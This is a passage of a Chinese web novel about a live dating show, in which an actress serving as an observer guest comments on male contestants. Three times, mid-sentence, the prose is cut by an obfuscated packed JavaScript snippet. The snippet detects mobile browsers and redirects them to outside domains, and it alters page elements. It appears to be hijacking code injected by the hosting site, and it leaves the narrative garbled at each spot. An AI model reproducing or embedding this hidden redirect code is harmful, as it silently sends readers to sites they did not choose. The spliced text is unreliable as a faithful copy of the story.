八号女嘉宾望着大屏幕上自己的号码,意外地睁大了眼睛:“是我吗?” 荀江肯定:“没错,是你,不是设备故障。” 【哈哈哈哈,怎么还有callback!】 【嘛,毕竟一号男嘉宾选的心动嘉宾也是八号女嘉宾,怀疑也很正常。】 【男生果然永远无法抵挡软妹啊。】 【谁不喜欢软妹,我是女生我也喜欢啊!】 【好好好,双向奔赴,你们俩直接牵手走吧。】 …… 崔明如一脸姨母笑,俨然是嗑到了,她轻咳一声,说:“肖乐,在做出最终选择前,你还可以向两位女嘉宾最后问一个你关心的问题,你想问什么呢?” 肖乐想了想,说:“我想问两位女嘉宾,当和另一半因为一些小事发生争吵后,你会怎么做?” “你想请谁先回答呢?” 肖乐说:“就请一号女嘉宾先说吧。” 一号女嘉宾性格直爽,一向有什么说什么,此前在互动中也很积极,听肖乐这么说,猜他是在给自己留面子,大大方方地接受了他的好意,说:“我不喜欢冷战,我一般会去主动解决问题,心平气和地跟对方交流,弄清楚吵架的根源在哪里,大家把话说开,一次性彻底解决。” 肖乐点了点头:“好的,谢谢你的回答。”说完立刻看向了八号女嘉宾。 八号女嘉宾抿了抿嘴,似乎对自己的答案并不自信:“我不是一个很擅长表达感情的人,在和朋友或者前任的相处中出现问题时,我有解决问题的想法,但总不知道怎么开口,怎么踏出第一步,往往在我犹豫的时候,他们已经先主动了……所以其实我是个蛮被动的人。”她怕被误会似的,又急忙补充,“但我清楚自己的问题所在,也在刻意强迫自己改正,朋友都说我有进步了!” 她在意又认真的模样让梁颂的嘴角不自觉上扬,再看肖乐,笑得更是不值钱。 “嗯,我知道了。”他说,“谢谢你的诚实回答。” “肖乐,听了两位女嘉宾的答案,想必你心中也有答案了吧。”荀江说,“接下来就轮到你做选择了,如果你想选择和谁牵手,请直接走到她的面前。” “嗯,好。”肖乐答应着,眼神却早就黏在了八号女嘉宾身上,他大步走过去,对她伸出了右手。 八号女嘉宾脸上绽出笑容,把手放在了他的手掌上。 观众席顿时响起热烈的掌声,梁颂也由衷地为他们高兴,跟着鼓掌。 【哇哦,可喜可贺!】 【一号男嘉宾狠狠被打脸。】 【这个故事告诉我们,被男人恶意贬低了不要怀疑自己。】 【笑死,一号男嘉宾这是把人得罪完了,一直被惦记。】 【八号女嘉宾也算是先苦后甜了hhhh。】 …… 待掌声稍稍平息,崔明如提高了音量,说:“恭喜两位牵手成功,两位也获得了节目组提供的约会大礼包,恭喜你们!” 节目组的约会大礼包除了一堆赞助商的礼品,还包括景区五日游,地点从节目组提供的目录中任选,路费和住宿费全包,出手算相当大方了。 肖乐和孙妍对嘉宾和观众们鞠躬致意,手牵着手离开了舞台。 一号女嘉宾回到自己的位置后,崔明如还特意采访了她,说:“对男嘉宾最后那个问题,你有什么想说的吗?” 一号女嘉宾撩了撩头发,若无其事地说:“我深刻地体会到一个道理。” “哦?是什么道理?” “男人被喜欢蒙蔽眼睛时,所有的一切在他们眼中都是优点。” 崔明如笑起来:“你是说他们都不理智?” 一号女嘉宾耸了耸肩:“还不明显吗?” “嗯,也不能一棒子打死一船人嘛,我想还是有男人有理智的。”崔明如说着,双臂一上一下张开,“请看,我们的荀老师,绝对是理智的代言人。” “嗯?怎么又是我?” “那没办法,荀老师在各方面都是正面例子。”崔明如恭维话说得无比顺口,也不知道说过了多少遍才能如此熟练,还不忘比了个大拇指,“优秀!” “……” 【能让荀老师无言以对的只有崔明如。】 【荀老师:我那个一天天不让人省心的同事。】 【荀老师一副被磋磨惯了的样子。】 【好好笑,一号女嘉宾被伤得开始说大实话了。】 【没事的,还有下一个!下一个更好!】 …… “可以了,把你的溢美之词收一收,我不会上当的。”荀江拿崔明如也没办法,无奈地说,“我也没那么理智,谁都会有被感情冲昏头脑的时候,人如果没了感情,在什么情况下都能保持理智,那不就成机器人了吗?” 崔明如说:“啊,我听说机器人都有感情了呢。” “是吗?这就超出我的了解范围了,不过,归根结底,机器人的感情也是被人类赋予的吧。” “那倒是。”崔明如承认。 “嗯,总之,机器人的感情问题我们再慢慢研究,先来解决人类的感情问题。”荀江时刻注意着把控流程,话题一旦被拉远,他就会扯回来,“现在二号男嘉宾成功和八号女嘉宾牵手,我们就借着这个好兆头来请出第三位男嘉宾吧。” 在三号男嘉宾出场之前,仍然留出了休息时间,这次没有设备故障,时间比较紧张,梁颂便想着迅速去趟洗手间,不料她刚起身,韩清越也几乎同时站了起来。 四目相对时,梁颂尴尬地笑了笑。 韩清越倒是神情自然,说:“去洗手间吗?一起去吧。” “嗯……好啊。” 梁颂和韩清越肩并肩地走在走廊里,她犹豫良久,鼓起勇气开口:“韩老师,对不起。” “嗯?为什么?” “就是刚刚录制的时候……” 韩清越沉默几秒,明白了梁颂指的是什么,侧头来看她,说:“为什么要道歉?你本来就有自由表达的权利,这没有任何问题。” 她越是这样善解人意,梁颂就越是自责,觉得自己真是个口无遮拦的大恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557418|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 “可我感觉自己这样很不礼貌。” “嗯?哪里不礼貌?”韩清越不解,“你只是说了自己想说的话,有什么错呢?” “可我不想让你因为我的话而不开心。” 韩清越停下脚步,等梁颂跟着停下后,抬手摸了摸她的脸,示意她抬眼看自己。 “梁颂,听我说,我没有不开心,你有自己的想法,并且敢于表达,这很好。况且,这是个综艺节目,我们的任务就是让它更好看,假如所有人都说着相同的话,做着相同的事,那节目就会变成白开水,没滋没味,谁会有兴趣看呢?这不是与我们的初衷背道而驰吗?所以,你没必要畏首畏尾的,该怎么样就怎么样就可以了。” 她说得十分真挚,不是那种场面话,梁颂心下触动,轻轻地“嗯”了声。 韩清越轻笑:“你挺可爱的,试着放开一点,大胆一点,观众会很喜欢你的。” 梁颂小声说:“谢谢韩老师。” “好了,走吧,快去快回。” “嗯,好。” 好巧不巧,两个人在回去的路上,又碰上了陈以年。梁颂本想对他视而不见,擦肩而过,然而,令她惊讶的是,韩清越竟然停下和陈以年打起了招呼:“以年,好久不见。” 陈以年礼貌又客气地回应:“韩老师好久不见。”顺带着朝梁颂点点头以示问候。 梁颂装作和他不认识的样子,撇开视线,假装在看风景,就听韩清越问陈以年:“今天怎么过来了,在这边有工作吗?” “算是吧,给朋友帮了个小忙,刚结束准备回家。” “这样啊,辛苦了。” “怎么会,认真对待工作是应该的。” 梁颂听着他们说话,看着陈以年那一副谦和后辈的模样,很想送他一个白眼。 不愧是刚出道就备受期待,哪怕中间有两三年毫无消息,仍有大批粉丝心心念念等他出现的新人演员,太会演了。 韩清越又和陈以年聊了几句,说:“不耽误你回家休息了,我们也该去录制了。” “嗯,韩老师再见。”陈以年笑着向韩清越道了别,旋即把目光落在了梁颂身上,“干得不错,继续保持。” 梁颂错愕地望着他“扬长而去”的身影,咬紧了牙关。 可恶,他是不是在挑衅! 她压下心头的怒意,为了转移注意,问韩清越:“韩老师,您是怎么认识陈以年的?” 据她所知,他们也没有合作过啊。 韩清越解释说:“我先生和他父亲在生意上有往来,我们在一些聚会上常常见面,他是个不错的孩子,演戏也很有天赋。——你呢?是跟他演过戏?” 梁颂不情愿地交代:“不是,他勉强算我的学长,我们大学都读的青影,但不在一个系。” “是嘛,这我倒不太了解了,不过青影还真出了不少优秀的年轻演员。”韩清越说,“对了,和以年关系很好的那个……哦,叫唐松阳,他也是青影的吧。” 梁颂猝不及防听到这个名字,心脏登时一沉,声音也变得滞涩:“嗯,唐松阳是我的直系学长。” 9. 第 9 章 梁颂和韩清越回到演播厅,在沙发上坐下来,情绪一时陷入低落。 唉,好好的怎么会突然提起唐松阳呢?死去的记忆都要来攻击她了。 梁颂拒绝回忆,郁闷地拿起矿泉水,咕嘟咕嘟地喝了几大口,试图暂时用水麻痹自己。幸好,并没有太多的时间留给她emo,随着直播的继续,第三位男嘉宾也来到了舞台上。 荀江跟他握手,说:“你好,先跟大家打个招呼吧。” “主持人好,观众朋友们好,各位女嘉宾好,我叫关宁远,今年三十三岁,是一名中学老师,教初中物理。” “欢迎你,关宁远。”荀江言简意赅地给予回应,照旧递上平板,“请你选择自己的心动嘉宾。” “好的。”关宁远翻着平板上女嘉宾的信息,没抬头往女嘉宾的方向看,大概是不想让大家误会他态度轻率,还不忘对荀江解释了一句,“我视力不好,这么远看不太清楚女嘉宾的脸。” 荀江表示理解:“没关系,看平板也是一样的。” “嗐,都怪这个面具。”崔明如吐槽,“我们有不止一位男嘉宾提过这面具很碍事了,他们说戴面具就戴不了眼镜,戴隐形又不习惯,要么得随身携带眼镜,等摘了面具戴上,要么就只能这么模糊着录完,麻烦得很。” “这是没办法的事,节目规则不能轻易更改。”荀江说,“但我们也很贴心的,允许男嘉宾走到女嘉宾的面前近距离去看。——关宁远,你需要吗?” “不,也不至于到那个地步。”关宁远把平板递还给荀江,“我选好了。” 荀江跟他确认完毕,随即转向女嘉宾席:“八号?” 上一位八号女嘉宾孙妍和一号男嘉宾肖乐牵手成功,离开了舞台,空缺出来的位置已由另一位女嘉宾补上了。按照惯例,主持人会把第一个提问机会留给新来的女嘉宾,顺便给她时间和大家打个招呼。 新的八号女嘉宾被荀江点到,微笑着说:“大家好,我是江晚,男嘉宾你好。” 关宁远客气地回:“你好。” 八号女嘉宾接着问:“请问你是在私立学校还是公立学校任教呢?” “我暂时在私立学校。”关宁远回答,刻意把重音放在了“暂时”两个字上,十足强调的意味。 梁颂一听就觉得怪怪的,微微皱了下眉。 而八号女嘉宾好像只是随口一问,并不是很在乎这个问题的答案,平淡地应:“哦,了解了,谢谢你。” 【新的八号女嘉宾好漂亮啊。】 【冷美人哎,气质好好。】 【感觉八号女嘉宾对男嘉宾毫无兴趣,好敷衍。】 【嗐,这俩一看就不是一路人。】 【我说真的,节目组找几个帅哥吧,到目前为止,也就二号男嘉宾还顺眼。】 …… 四号女嘉宾许一舟举手,得到荀江的许可后,直截了当地问:“男嘉宾你好,我想问你打算考编吗?私立学校应该不太稳定吧。” 关宁远似乎不太愿意回答这个问题,说:“我考过一次,备考时间太仓促,失败了,准备再试一次。” 四号女嘉宾点了点头:“嗯,考编是挺难的,不认真准备可不行,祝你早日上岸。” “……谢谢。” 崔明如在一旁对关宁远解释:“她是研究生毕业后直接留校的,目前在行政岗工作。” 关宁远故作淡然地称赞:“四号女嘉宾很优秀,值得学习。” 梁颂注意到他唇角略显僵硬的弧度,顿时了然。 嗯,他酸了。 荀江又随机点了几位女嘉宾提问,关宁远的表现整体上没什么大问题,可梁颂对他的印象就是不太好,感觉他没那么真诚,言语间透着一股很小家子气的傲气,实在是不如二号男嘉宾肖乐。 她不知道女嘉宾是怎么想的,但从亮灯的数量来看,应该也和她差不多,关宁远和一号男嘉宾吴庆璋一样只得到了五盏灯。 崔明如舒了口气:“好险哪,就差一点。” 关宁远应得勉强:“谢谢为我亮灯的女嘉宾。” 荀江安慰他:“没事,我们才刚开始呢,后面还有机会。——来,请你先摘下面具。” “好的。”关宁远答应着,摘下了脸上的面具。 几乎就在他露脸的下一秒,三号女嘉宾孔今灭掉了自己的灯。崔明如恰好看见了,问她:“三号女嘉宾,你为什么灭灯灭得那么干脆?” 三号女嘉宾被抓了个正着,面露尴尬:“呃……对不起,他一摘掉面具,和我的高中物理老师太像了,我接受不了。” 【哈哈哈哈,这是什么理由!】 【这个灭灯理由真是清新脱俗。】 【笑死,她不说我还没感觉,一说我也想到我的物理老师了。】 【对不起,虽然这样很不好,但我忍不住笑了。】 【我笑点和功德在疯狂地打架。】 …… 没有亮灯的一号女嘉宾立刻附和:“真的!我感觉我高中的物理老师也长这样,身高发型和穿着都太像了,所以我都没敢亮灯。” 崔明如说:“怕这就是你的物理老师是吗?” “不是不是。”一号女嘉宾忙说,“我虽然已经记不清物理老师的名字了,但我确信他不叫关宁远,而且我物理老师年纪很大了,不可能出现在这里。” 崔明如看热闹不嫌事大:“关宁远,她说你显老。” 观众席中传来了欢快的笑声。 关宁远:“……” 一号女嘉宾欲哭无泪,辩解:“我不是这个意思!我上高中时我物理老师就四十多了,早就结婚生子了。我是说他身上老师的特质太明显了,对我这种学渣天然具有威慑力,所以才没敢亮灯。” 荀江笑着安抚她:“你别听她乱说,我们都理解。” “我发现一件很有趣的事哎。”崔明如说,“当我们提到某个科目的老师时,大家的脑子里好像都会出现一个固定的形象,而且基本上大差不差。比如,说到英语老师就是时尚又漂亮,提到大学的行政老师就会觉得像四号女嘉宾那样,不苟言笑。——这是为什么呢?” “唔,也许是无数人在学生生涯里归纳总结得来的结果?但也不能以偏概全,总会有例外存在的。” “我认为这是个很值得研究的课题。”崔明如严肃地说,“因为我仔细回想了一下,我的物理老师也差不多是这样。” 【你别说,你还真别说。】 【虽然刻板,但常常准确。】 【身为英语老师的我默默地看了一眼自己的大T恤和牛仔裤……】 【崔明如你可别说了,男嘉宾的脸可越来越黑了。】 【和一号女嘉宾深深地共鸣了,毕业好多年,照样很害怕老师。】 …… “这个课题就留给你自己慢慢研究吧。”荀江无奈地提醒崔明如,“我们暂且先放下对物理老师的刻板印象,把关注点放到关宁远本人身上。” “好好好。”崔明如收放自如,一本正经地cue流程,“那我们马上来看关宁远的第一条短片,全面地了解他在生活中是一个怎样的人。” 关宁远的这条短片并不长,也没什么特别的,简单地介绍了自己的基本信息和工作。他自称是小镇做题家,来青城读大学是第一次离开家乡,被大城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557419|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市的繁华震撼,下决心要留在这里。之后,他发奋学习,考研,实习,找工作,靠自己的努力在青城安顿下来,并准备继续考编,一步步站稳脚跟。 短片放完,荀江先询问观察嘉宾的看法。 柳彦依然很乐意鼓励人,说:“很励志的一个男生,我自己也是所谓的小镇做题家,很理解他一路走来的不容易。——关宁远,加油,你要相信一切努力都不会被辜负的。” “谢谢柳彦老师。” 梁颂生怕自己下一个又被点到,警觉地坐直了身子,随时准备着。 不过,这次算她幸运,崔明如大概感觉这个话题和她不太搭边,没有问她,她便侥幸逃过一问。 六号女嘉宾杨明月看过短片后,主动举手向关宁远提问:“男嘉宾你高中是哪个学校的呀。” 关宁远不明所以,但仍是回答了她:“就在我们小县城的高中。” “二中吗?” 关宁远愣了愣:“是,你怎么知道?” “猜的,二中不是我们那儿最好的高中吗?”杨明月笑着说,“如果真是二中,那我还该叫你一声学长了。” “咦?这么巧?”关宁远半信半疑,“你不是在骗人吧。” “不骗人。”杨明月认真地说,“我真是二中的。” “哇,学长学妹在我们的舞台上会面,这倒是头一次。”崔明如说,“杨明月,见到学长是什么感受?” “就很意外啊,也有种亲切感。”杨明月说完,亮起了自己的灯,“我一定会亮灯到最后表示支持的!” “……谢谢你。” “学长,我还想问你一个问题哎,你到了青城后,遇到的第一个障碍是什么呢?” “障碍?”关宁远含含糊糊地说,“也没有很具体的吧,整体环境都存在差异,需要一定的时间来适应。——你呢?” 六号女嘉宾不好意思地笑了笑,说:“说来挺难为情的,我遇到的第一个障碍是语言。我刚到青城时不会说普通话,或者说是没有这种意识,直到听几个舍友和她们的家长都在说普通话才意识到,哦,我已经离开家了,不能再说家乡话了,必须要说好普通话才行。于是,我强行纠正自己的口音,逼自己去适应说普通话,不在同学和老师们面前露怯。但是,如果有时候心不在焉或者刚睡醒,一开口还是会顺口说出家乡话,总让舍友愣一下。”她顿了顿,接着说,“一开始我打电话不好意思让舍友听到,都是跑去阳台打,后来也习惯了在宿舍打电话,还会在她们的要求下教她们几句家乡话,现在想想也都是很有趣的回忆。” “年轻真让人怀念哪。”崔明如感叹,“很多在当时看来和天塌了差不多的事,成熟后再看就傻里傻气的。” 不知道为什么,梁颂一听她这话,脑子里一瞬间闪过了陈以年那张似笑非笑的脸。 不不不,或许在陈以年眼中,那的确是傻里傻气的事,但自己每每回想起来,尴尬得想找个地缝钻进去的心情可是从来没有变过。 怎么会让他看见呢?怎么偏偏是他看见了? 梁颂越想越气闷,默默地咬了咬牙。 许是她的脸色变化过于明显,韩清越都注意到了,伸手过来轻轻拍了拍她的腿,用眼神询问她怎么了。 梁颂忙堆起笑容,摇了摇头,没说什么,抬头看向台上。 只见关宁远对他们的话颇不以为然,并没有搭茬,表现得非常冷漠:“我大学时过得并不好,也留下什么美好的记忆,毕业的那天我很开心,因为终于不用再见到那些人了。——而且,我一直认为,把感情和时间浪费在萍水相逢的人身上是件很无聊的事,不如用来做些更有意义的事。” 10. 第 10 章 关宁远说这话本身是没什么问题,每个人都可以有自己的思考,怎么想都无可厚非。然而,六号女嘉宾才主动表明了两人的同乡身份,又在他只有三盏灯,处境危险的情况下,主动帮他亮了灯,说要支持他到最后,不管是不是真心,起码表现出来的都是一番好意。 在这个前提下,六号女嘉宾兴致勃勃地分享自己的大学糗事,他却说这些冷冰冰的话作为回应,多少有几分不识好人心,故意给人泼冷水的意思。 【男嘉宾你过分了啊。】 【好讨厌,人家给你亮灯了哎!】 【我要是六号女嘉宾,立刻就把灯灭了。】 【服了,女嘉宾在真诚地分享,男嘉宾你在干吗?你这样对吗?】 【哇,大哥你不会以为自己这样很酷吧。】 …… 果然,六号女嘉宾一听他这话笑容就僵硬了,尴尬地应:“啊,这样吗?” 柳彦听了关宁远说的话,问他:“男嘉宾,我很好奇你为什么会对你的大学同学有那么大的敌意呢?你们是有什么不可调和的矛盾吗?” “也没有。”关宁远摇了摇头,说,“我只是单纯看不惯他们那种吊儿郎当的作风,晚上组队打游戏不睡觉,早上该去上课了又起不来,心安理得地睡懒觉逃课。平时不用功,到了考试周只能求着老师画重点,点灯熬夜地临时抱佛脚,勉强得个六十分就心满意足了,我不明白这种堕落的大学生活有什么意义。” “唔,如果没有打扰到你,那也只能说是对待学习和人生的态度不同罢了,没必要这么较真。”柳彦说,“他们又感受不到你的不满,不舒服的只有你自己,这不是得不偿失吗?” “嗯,是没打扰到我,但我身处其中,心情受到影响是在所难免的。” 崔明如插嘴说:“那你可以申请换宿舍呀,别的宿舍应该有空床铺吧,换个环境心情就会跟着变好了。” “我申请过,但我可以搬的那间宿舍只住了两个人,他们死活不同意我搬进去。” “为什么呢?” 关宁远耸了耸肩:“宿舍面积就那么大,住两个人总比住三个人舒服。” 梁颂原本是不想对他妄加评判的,但关宁远对六号女嘉宾的不友好态度让她没能控制住,忍不住带了一丝恶意地揣测,说不定人家也不喜欢你才不想让你搬进去呢。 不知道她是不是不经意把情绪带到了脸上,崔明如问她:“梁颂,你读大学时也住宿舍吧。” 梁颂点了点头:“嗯,是的。” 崔明如追问:“那你跟舍友们的关系怎么样?” 跟舍友们的关系?梁颂晃了晃神,脑子里瞬间浮现出许久不见的大学舍友的笑脸。 他们学校的宿舍条件相对算是不错的,四人间,有独立卫浴,空调热水器等设施一应俱全,甚至还有电视,她当时跟姚思曼说的时候,姚思曼表示amazing,并且特意趁假期前来参观了一番。 梁颂和另外三个舍友分别来自不同的城市,在军训期间,四个人很快就变得熟络起来,也确定了基本一起行动的队形。一起上课,一起去食堂吃饭,偶尔一起出去逛街看电影,常有其他宿舍的女生说她们宿舍的关系和谐,让人羡慕。 她们当然都是很好的人,只是梁颂出于先前的经验,在和她们相处时总是下意识地带着疏离的心态,也就没办法很好地融入进去。四个人都在的时候,也往往是另外三个人负责聊天,她负责倾听。每个小团体里都会有分工的,她用这一点安慰着自己,平静度过了大学四年的时光。 那么,在她们三个心中,到底是怎么看待自己的呢?会不会根本就觉得自己是个不合群又无趣的家伙,带自己玩只是单纯地不知道如何摆脱? 崔明如见她久久不作声,试探地叫她:“梁颂?” 梁颂回过神来,对上崔明如疑惑的视线,小幅度勾起嘴角,露出个怅惘的笑,给了个不太贴切的答案:“我有点想念她们了。”她极少当众表露自己内心的感情,说出这句话时自己都不由得难为情,耳根微微泛起了红。 【唉,怎么突然伤感了呢。】 【理解梁颂的心情,我也好想我的大学舍友。】 【啊,我是关宁远那一派的,我们宿舍感情淡薄,毕业后就再没联系过了。】 【+1,我们宿舍甚至没有群。】 【虽然但是,跟舍友的关系真的好影响大学的体验感。】 …… 尽管有了六号女嘉宾的支持,关宁远目前仍然只有三盏灯,情形并不乐观。 荀江说:“接下来我们一起来看关宁远的第二条短片,去了解一下他的感情状况。” 梁颂强迫自己从回忆中抽离出来,打起精神,望向大屏幕。 “我有过两段恋爱经历,一段是在大学,一段已经到了谈婚论嫁的地步,但最后由于分歧太大没能谈成,今年年初分手了。” “我对外形条件的要求不太高,喜欢高高瘦瘦的类型。” “希望对方不要是太物质的人,我最讨厌别人一味向我索取。” “希望对方孝顺乖巧,不要顶撞长辈。” …… 这个人他……要得未免也太多了吧!到底哪里来的这种底气! 这条短片短短三分钟,梁颂却如坐针毡,倍感煎熬,只觉时间无比漫长,仿佛过去了足足一个世纪。 好不容易挨到结束,她只觉自己的嗓子就像堵了块海绵,梗得难受。 短片放完,举手的女嘉宾倒有好几位,荀江便示意今晚话很少的九号女嘉宾赵云舒先说。 九号女嘉宾说:“男嘉宾,你说你和你的前任到了谈婚论嫁的地步才因为分歧分手,具体是什么分歧呢?方便说吗?” 关宁远含糊其词:“关于彩礼的问题。” 九号女嘉宾了然:“哦,懂了。” 梁颂也懂了,心想这大概就是他指的所谓的索取吧,亏他还好意思说得那么委婉。 她拿过手边的矿泉水想喝口水,不曾想这瓶水的瓶盖紧得很,她试了几次都没拧开,又不能毫不顾及形象地用牙咬,只能拿在手里暗中使劲,同时分神去听台上的人说话。 一号女嘉宾性子直,听关宁远这么说,立刻问:“假如你交了新的女朋友,你们再次因为彩礼的问题产生分歧,那你会怎么处理?” 关宁远说:“这次我会更谨慎,提前了解对方的想法。” “哦,那很谨慎了。”一号女嘉宾不冷不热地说,“不好意思,我经过谨慎的思考,也决定灭灯了。” 【一号女嘉宾这个反应好好笑。】 【哈哈哈哈,有股淡淡的人机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16557420|186901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感。】 【果然是老派相亲节目,涉及的问题都这么现实。】 【这么想想,之前好像真没有男嘉宾提到彩礼的问题。】 【不过,这个男嘉宾虽然讨厌,但能直接说出来我都算他诚实了。】 …… 荀江总结说:“对于要谈婚论嫁的男女来说,彩礼的确是个很难绕过去的问题,真要认真讨论这个问题的话,我看我们剩下的所有时间都得让步才行。” “是的。”崔明如附和,“这适合开个辩论会,正反双方分别陈词论述自己的观点。” “那不如我们先做个小型的统计?”荀江提议,“在座的十位女嘉宾,赞成彩礼的请举手。” 几位女嘉宾陆陆续续地举起手。 荀江数了数,说:“七比三。” “和我想象得差不多。”崔明如说,“这种约定俗成的东西,短期内情况也基本不会发生太大的改变。” “是这样的。”荀江说,“所以关宁远说得还是对的,提前了解对方的想法,双方观念保持一致就没问题。——四号,你有什么问题要问?” “哦,其实我上一轮就想灭灯了,但看他一路走来的确是不容易,又同为教育工作者,想着多支持他一会儿。可是,男嘉宾又实在是让我很难受,他该怎么说呢?”四号女嘉宾许一舟说着,眉头蹙起,“我很难形容他,我觉得他是个很矛盾的人,既自傲地以为高人一等,但心底里又有些自卑,怕别人看不起他,这两种感情就在他心里来回碰撞,导致他整个人看呈现出一种拧巴的状态。站在旁观者的立场,我想给男嘉宾提个建议,防备心不要那么重,用真心和人交往才能换来真心。” “咦?竟然还有高手。”崔明如诧异地说,“很少听四号女嘉宾一口气说这么多话哎,而且分析得头头是道,不愧是高材生来的。” 四号女嘉宾的神情没什么变化,说:“过奖了,我实话实说罢了。” “那关宁远,对四号女嘉宾的话,你要做出什么回应吗?” “我没什么可说的。”关宁远俨然不为四号女嘉宾的话所动,说,“单凭这么短暂的交流就对一个人下定论,这太草率了,我不屑于解释。” 四号女嘉宾轻笑,没说话,直接用行动表达想法,伸手灭掉了自己的灯。 【姐姐好干脆惹hhhh。】 【说得确实挺对的,男嘉宾说起自己的舍友时就有种隐隐的优越感。】 【对啊,还说人家堕落……】 【讲真,他这么拼也不见得比人家强到哪里去。】 【四号女嘉宾真的很酷哎,自带那种很精干的范儿。】 …… 荀江环视一周,说:“最后一个问题留给六号女嘉宾吧。杨明月,只剩你自己了,你还有一个问题的机会考虑是否要兑现承诺继续留灯。” 按照节目规则,六号女嘉宾若是留灯,关宁远就可以进入最后的终选环节,在她和心动嘉宾之间进行选择,若是灭灯,关宁远则只能遗憾离场。 六号女嘉宾自己信誓旦旦做出了承诺,但显然是后悔了,一时有些犹豫。 梁颂觉得她根本就没必要为关宁远纠结,越看她左右为难的样子越替她难受,但她转念一想,突然想到了另一种可能,忍不住抓起了话筒:“我有个疑问,可以问吗?” 11. 第 11 章 面对梁颂的请求,荀江自然不会驳回:“当然,你有什么疑问?请讲。” 梁颂说:“我想问,假如六号女嘉宾真的留灯到最后,男嘉宾在最终选择环节放弃了心动嘉宾,转而选她,那怎么办?” 荀江说:“按照节目规则,六号女嘉宾就要和男嘉宾一起离开。” 梁颂点了点头:“哦,这样。” 荀江又补充:“以前也有过像六号女嘉宾这样留人情灯的,基本都是为男嘉宾可惜,特意给他们提供一个向心动嘉宾表白的机会,但男嘉宾的选择都是心动嘉宾,还没出现过你说的这种情况。” 崔明如开玩笑:“一看梁颂就没怎么看我们的节目,罚你回去多看几期。” 梁颂:“……” 【梁颂的顾虑也不是没有道理!】 【嗐,男人心海底针嘛。(狗头)】 【那男嘉宾就多少有点忘恩负义了。】 【没咋看过,居然真有女嘉宾愿意冒这种风险啊。】 【赶紧灭了算了,我想看下一个男嘉宾。】 …… 荀江问六号女嘉宾:“杨明月,你想好了吗?还要不要问问题?” 六号女嘉宾又看了看关宁远,说:“我看男嘉宾的意思吧。——男嘉宾,你还想再争取一下你的心动嘉宾吗?” 她不动声色地改了对关宁远的称呼,言外之意已经很清楚了,关宁远那么敏感的人,当然也察觉到了,平淡地拒绝了:“不用了,谢谢你的好意。” “那好吧。”六号女嘉宾说,“荀老师,我不留了。” “好的,那请你灭灯吧。” 随着六号女嘉宾的灯黑下去,全场的十盏灯,整整齐齐,全都黑了。 荀江再度询问:“其他还有亮灯机会的女嘉宾,你们都是最终决定了吗?还有人要亮灯吗?” 无人回应。 “好吧。”荀江叹了口气,说,“很抱歉,关宁远,你只能止步于此了。” “嗯,没关系。” 崔明如又发扬起替观众发声的美德,问关宁远:“关宁远,你的心动嘉宾是谁,介意我们公布吗?” 关宁远说:“可以公布。” “好,那我们一起来看。” 关宁远的心动嘉宾?梁颂也好奇了,抬头看向大屏幕,就见一个大大的数字“10”赫然其上。 “这我真没看出来。”崔明如略显诧异,问,“关宁远,是什么理由?跟我们说说。” 不仅她,连十号女嘉宾丁子林本人都没想到,在她来参加的所有期节目当中,她只被选为过一次心动嘉宾,但那个男嘉宾也没坚持到最后,走的时候还很不愉快,简直是她在这节目的心理阴影。 关宁远解释说:“我选心动嘉宾的时候是看的平板,在照片上看十号女嘉宾的妆容是相对比较素净的,我不喜欢妆太浓的女生。” 【好让人无语的理由。】 【服了,临下台还要恶心我一把是什么居心。】 【不化妆的女生省钱呗,心机男。】 【懂了吧朋友们,多化妆可以有效筛选掉这种男生。】 【害怕,明天就去学化妆。】 …… 梁颂听姚思曼给她讲过类似的经历,譬如她化了全妆,穿着漂亮的小裙子出门时压根没人搭讪,可偶尔一次穿着大背心大裤衩下楼取快递,就连着被两个男生要了微信。 这还真是异曲同工呢,梁颂想着,终于没忍住翻了个白眼。 这次被选为心动嘉宾又不是什么好体验,心理阴影加一,十号女嘉宾涨红了脸,但她性子素来软,羞恼之下竟想不到什么严厉的言辞来质问对方。 六号女嘉宾看不过去了,十号女嘉宾在一号男嘉宾贬低她时刚帮她说了话,这会儿她也做不到坐视不理,忍不住开口了:“男嘉宾,虽然你是我学长,但我还是要说,你这话说得很不合适。” 关宁远说:“我只是表达了自己的想法,如果冒犯到了女嘉宾,我道歉。不好意思,是我说话欠考虑了。” 六号女嘉宾只觉自己一拳打在了棉花上,再说下去反倒显得自己斤斤计较了,而且把场面闹得太僵也不好看,只得忿忿地把话咽了回去。 可她不好说,不代表梁颂这个观察嘉宾也不好说。 梁颂咬了咬牙,毅然举起手。 “咦?梁颂,你有什么话要说吗?” 梁颂拿起话筒,认真地问:“男嘉宾,你知道一个成语,叫司马昭之心路人皆知吧?” 关宁远愣了愣,一时没反应过来:“嗯?” 